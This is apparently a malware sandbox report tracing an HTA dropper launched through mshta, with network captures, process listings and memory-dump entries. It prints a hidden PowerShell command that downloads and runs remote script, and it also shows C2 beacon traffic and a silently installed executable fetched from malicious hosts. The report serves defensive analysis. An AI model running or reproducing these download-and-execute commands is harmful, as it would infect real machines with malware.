Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49985	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:31 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: grooveoiy.cyou
2025-01-06 12:56:31 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 52 49 49 49 26 6a 3d 26 68 77 69 64 3d 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 Data Ascii: act=get_message&ver=4.0&lid=c2CoW0--RIII&j=&hwid=DF5D8A45B5A0C31969AE778FE2799D69
2025-01-06 12:56:31 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=65nb9mnfma357fs5jf8uts7amd; expires=Fri, 02 May 2025 06:43:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fF%2FtEMPd1MSjD5iQJkVnqxHFoxn1BI6oXXhhzEKcNxybWTI8UkHgodXfG8HoDB8AUiaLrljU6b9EfRJPPEp0rTk%2FgayBgCkSYIBjx6ROSB%2F%2FT3vCVdRUogp2cEp9DFTzqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde5a9edade9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1465&rtt_var=581&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=979&delivery_rate=1831869&cwnd=193&unsent_bytes=0&cid=d947c9e4e61a1729&ts=343&x=0"
2025-01-06 12:56:31 UTC	138	IN	Data Raw: 38 34 0d 0a 76 48 41 4f 55 46 56 68 36 2b 6c 4f 74 64 42 68 31 69 2b 68 32 44 66 38 46 73 76 72 48 4d 34 76 78 67 73 49 7a 69 37 61 2f 56 54 6e 43 79 77 6c 64 31 76 4a 67 54 72 42 6f 42 4c 73 63 34 36 45 47 4a 64 36 6f 70 74 32 72 31 32 76 62 57 6d 76 41 4b 6d 56 4f 38 77 73 49 54 6b 37 46 62 53 4b 49 73 57 50 57 65 34 58 6d 66 5a 44 68 47 4c 70 78 7a 36 6f 57 2b 51 78 4f 4f 49 4d 76 39 39 75 6a 41 31 54 0d 0a Data Ascii: 84vHAOUFVh6+lOtdBh1i+h2Df8FsvrHM4vxgsIzi7a/VTnCywld1vJgTrBoBLsc46EGJd6opt2r12vbWmvAKmVO8wsITk7FbSKIsWPWe4XmfZDhGLpxz6oW+QxOOIMv99ujA1T
2025-01-06 12:56:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49986	188.114.96.3	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:31 UTC	207	OUT	GET /int_clp_8888.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipjarifaa.shop
2025-01-06 12:56:32 UTC	899	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:32 GMT Content-Type: text/plain Content-Length: 8856972 Connection: close Accept-Ranges: bytes ETag: "c89c55fe25372bfbf8b9264a647c144b" Last-Modified: Sat, 28 Dec 2024 20:45:06 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vNSZuvTRG0maNbkjK22%2BgejueNAWBuVq9H6eA36YopUmFIGcFMf1z8a6jMv5GRVVTZpKFp7SqaMJNa2FqCetCo4GUkVl40tJ%2Bj9mRCnAKxpmHlYd7MHCWIdpRQJ7F9kzG8ez"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde5fdd60727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&min_rtt=2003&rtt_var=760&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2866&recv_bytes=821&delivery_rate=1432074&cwnd=221&unsent_bytes=0&cid=a76dfdff910434a8&ts=378&x=0"
2025-01-06 12:56:32 UTC	470	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 00 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 04 44 61 74 Data Ascii: RESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@Dat
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c 61 73 73 54 Data Ascii: r@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JClassT
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 04 81 Data Ascii: [@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage?
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f 72 2e 54 53 Data Ascii: @AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.TS
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 40 00 77 29 Data Ascii: truction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)@w)
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 6e 67 02 00 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff 65 3d 40 00 Data Ascii: @~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@Ce=@
2025-01-06 12:56:32 UTC	1369	IN	Data Raw: 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 Data Ascii: Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JCopy

Target ID:	0
Start time:	07:54:57
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\anrek.mp4.hta"
Imagebase:	0x7f0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:54:57
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=
Imagebase:	0xba0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:54:57
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:54:58
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"
Imagebase:	0xba0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:54:58
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:56:16
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xba0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:56:37
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"
Imagebase:	0x690000
File size:	8'856'972 bytes
MD5 hash:	C89C55FE25372BFBF8B9264A647C144B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 51%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:56:41
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$80224,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe"
Imagebase:	0xae0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:56:46
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT
Imagebase:	0x690000
File size:	8'856'972 bytes
MD5 hash:	C89C55FE25372BFBF8B9264A647C144B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:56:49
Start date:	06/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp" /SL5="$D005A,7875736,845824,C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe" /VERYSILENT
Imagebase:	0xab0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 06AF0817 Relevance: 5.2, Strings: 4, Instructions: 219COMMON

Download Yara Rule

Strings

(J&k, xrefs: 06AF0EB9
(J&k, xrefs: 06AF0EE1
ONXURrftHbKddsmbA7YFandHU3JsMZ6okTXwkwAlggsyDJZ7nI14uIepEh8l5PcjY2ApMW J1dN8EyF6vvMW05chehaZIJd Aa0il9cxTgwqJ 55SWRFHsn0dCO8hhyySE, xrefs: 06AF0829, 06AF083A, 06AF08DF, 06AF08F0, 06AF0992, 06AF099C
(J&k, xrefs: 06AF0F0B

Memory Dump Source

Source File: 00000000.00000003.2018225427.0000000006AF0000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af0000_mshta.jbxd

Similarity

API ID:
String ID: (J&k$(J&k$(J&k$ONXURrftHbKddsmbA7YFandHU3JsMZ6okTXwkwAlggsyDJZ7nI14uIepEh8l5PcjY2ApMW J1dN8EyF6vvMW05chehaZIJd Aa0il9cxTgwqJ 55SWRFHsn0dCO8hhyySE
API String ID: 0-815464405
Opcode ID: fe861bfb2611546caa7410aa4e361452e41982b043d6809bcb9a58d374deecc4
Instruction ID: a0ae29969a5409dedc844a2bcd68e23d731cb7b45238d3f2c9bfc1570f5748aa
Opcode Fuzzy Hash: fe861bfb2611546caa7410aa4e361452e41982b043d6809bcb9a58d374deecc4
Instruction Fuzzy Hash: B591F171E202099FDB54DFE8D4A169DF7F2AF85300F25810AEA56BB381DB704C81CB82

Function 06AF118E Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018106537.0000000006AF1000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af1000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d950bbe8c7b08ac7b58fb280f951772a2e8c90f2065b643e85ea3bcebc5f3c3
Instruction ID: fb62225b2e2ffe18ce03b46b5c3cd6e5eacc74f90a8b0cc99e0f6ec81b205be9
Opcode Fuzzy Hash: 8d950bbe8c7b08ac7b58fb280f951772a2e8c90f2065b643e85ea3bcebc5f3c3
Instruction Fuzzy Hash: 72213770658396AEE35117F85CA2BF9BFB25F9310CF1C01A9EBC1DA182D79548458363

Function 06AF13E3 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018106537.0000000006AF1000.00000010.00000800.00020000.00000000.sdmp, Offset: 06AF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6af1000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb648e54093de2f8e230597ab87cb69d084e841dc9e969babad7ed46d640ac8
Instruction ID: e281572830b815f0f1fc22b4dd647d334d692757a2b8463ed0eac904f993a646
Opcode Fuzzy Hash: dfb648e54093de2f8e230597ab87cb69d084e841dc9e969babad7ed46d640ac8
Instruction Fuzzy Hash: 2C115930B14355AEE7509BF89882FA9FBF16B65308F040059EB5497241C3F548C48323

Function 063D0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2018270438.00000000063D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 063D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_63d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction ID: c50aef972a68f13308feacd1da99099b475c953737950072358c57bd898a4d4b
Opcode Fuzzy Hash: 008bba5647dbdc467b8008402277c6112ae45ec5527a47917ab0894adfd3a265
Instruction Fuzzy Hash:

Function 063D0F97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

